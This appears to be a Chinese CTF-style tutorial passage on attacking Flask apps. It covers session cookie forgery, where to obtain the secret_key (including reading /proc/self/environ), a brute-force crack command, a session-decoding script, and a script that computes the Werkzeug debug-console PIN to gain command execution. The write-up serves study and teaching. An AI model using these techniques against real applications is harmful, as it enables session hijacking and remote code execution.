jinja2模板注入 详见:
SSTI-Lab全详解 - 重庆森林不在重庆
session伪造 session 由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。
其实作者在《HTTP原理及具体细节》一文中讲了session,这里就不具体展开了
flask session 储存方式
第一种方式:直接存在客户端的cookies中
第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库
flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。
flask session格式
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串)
. 时间戳
. 签名
组成的。
1 2 eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0 session数据 . 时间戳. 签名
时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;
签名:是利用Hmac
算法,将session数据和时间戳加上secret_key
加密而成的,用来保证数据没有被修改。
flask session伪造 上面我们说到flask session是利用hmac算法将session数据,时间戳加上secert_key成的,那么我们要进行session伪造就要先得到secret_key,当我们得到secret_key我们就可以很轻松的进行session伪造。
secret_key怎么获得?
secret_key有可能可以直接在源代码里找到(如果给了的话),比如在config.py里面发现密钥;
也有可能在环境变量里找到,比如/proc/self/environ
或者/proc/1/environ
;
也有可能在内存中获取,参考:Flask Session 伪造全流程解析:从内存窃取到会话劫持_flask session伪造-CSDN博客 ;
若SECRET_KEY
较弱(如短字符串或常见密码),工具可尝试暴力破解(该工具下面会介绍);
命令格式:
1 python flask_session_cookie_manager3.py crack -c <SESSION_COOKIE> -w <WORDLIST_PATH>
当然,也有可能结合其他漏洞获得secret_key,或者给定了一个可破解的密钥生成算法(根据源代码)。
获得secret_key怎么伪造呢?
session伪造其实主要是利用工具或者脚本。
工具:
GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder
工具的使用方法可以自己查阅,使用该工具就完全可以做到session伪造
脚本(原作者是phith0n):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload ): payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload)if __name__ == '__main__' : print (decryption(sys.argv[1 ].encode()))
该脚本用于解密,使用方法
1 2 3 4 5 命令: python Decrypt_session_phith0n.py .eJxNUE2LgzAQ_SvLnD2otZdCDy5RcSHJWiIyuYjtWjWaLtiWxpT- 9027 sOxhmMP7mjd3qI9ze- 5 hc5mvrQf18AWbO7ztYQOopaKkW1OBAa- ShYZ4wyr3ORkXFhY3Sd57XqUTF6VBu- upSiJmy5WsPpwysUwnIdU7hSIOmS0sFV2A2vE0NfzJIU5L0gHVuOIVXaNNFkYOPgvzwGndLkIU7oaqjFiWTmi7lczKQGZoOMkXqWLrvCM3W3h4cDjPx_ryPbanfxUSw7Lcp6RXaHsXXVipDhG1nXHxiup0dDUnJnJDn9FZvvB4- 7 IbdNO1f06CTJ- y- EVOjXYA6OYyDwY8uJ7b- fU4CHx4_ABsUm1d.Z7iVHg.OyTfaVtPY8mLno- nCvMBfcnai0k 结果: {'_fresh': True, '_id': b'bfc089165 9a23f0ab4892 7d0d0a9ae951c4a218757 ebff136a62dca06743185 bda2c19bfd1e81bb979c9c124747 b56a47d6a6c1e84aec87de5df1822 f03a08a0', 'csrf_token': b'ba14b408cc8a2d3f7838 1d1c2adbfe521074 4b28', 'image': b'L9Oe', 'name': 'matrix', 'user_id': '10'}
PIN码计算 对于有文件包含或文件读取的漏洞,且开启debug功能,可尝试本地构造pin码进入控制台
输入pin码后即可输入命令执行
可参考:
深入浅出Flask PIN - 蚁景网安实验室 - SegmentFault 思否
Flask PIN码分析和总结 - Icfh - 博客园
1、username
–> 执行代码时候的用户名
1 2 3 import getpass username = getpass.getuser ()print (username)
2、getattr(app, "__name__", app.__class__.__name__)
–> 默认为Flask
1 2 3 4 from flask import Flaskapp = Flask (__name__)print (getattr(app, "name" , type (app).name))
获取的是当前app对象的__name__
属性,若不存在则获取类的__name__
属性,默认为Flask
3、modname
–> 固定值默认flask.app
sys 1 2 3 4 5 6 7 8 from flask import Flask import typing as t app = Flask(__name__) modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__) mod = sys.modules.get(modname) print(mod)
取的是app对象的__module__
属性,若不存在的话取类的__module__
属性,默认为flask.app。
4、getattr(mod,"__file__", None)
–>app.py文件所在路径
1 2 3 4 5 6 7 8 9 10 import sysfrom flask import Flaskimport typing as t app = Flask(__name__) modname = getattr (app, "__module__" , t.cast(object , app).__class__.__module__) mod = sys.modules.get(modname)print (getattr (mod, "__file__" , None ))
mod的__file__
属性,即app.py文件所在路径
输出:C:/Users/mcc06/Downloads/sstlabs-master/venv/lib/site-packages/flask/app.py
5、str(uuid.getnode())
–>电脑上mac地址
实际上就是当前网卡的物理地址的整型
1 2 import uuid print (str (hex (uuid.getnode ())))
6、get_machine_id()
–>根据操作系统不同,有四种获取方式
Python flask版本不同,读取顺序也不同
操作系统/容器
位置
取法
Linux
/etc/machine-id,/proc/sys/kernel/random/boot_id
前者固定后者不固定
docker
/proc/self/cgroup
正则分割
macOS
ioreg -c IOPlatformExpertDevice -d 2
"serial-number" = <ID>
部分
windows
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid]
注册表
然后直接用下面脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import hashlibfrom itertools import chain probably_public_bits = [ 'nobody' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.6/site-packages/flask/app.py' ] private_bits = [ '95530043904' , '111' ]def mac_to_decimal (mac_address: str ) -> int : """ 将MAC地址(如 '00:16:3e:08:ca:00')转换为十进制整数。 :param mac_address: 字符串格式的MAC地址 :return: 十进制整数 """ hex_str = mac_address.replace(":" , "" ) decimal = int (hex_str, 16 ) print (decimal) h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join( num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size) ) break else : rv = numprint (rv)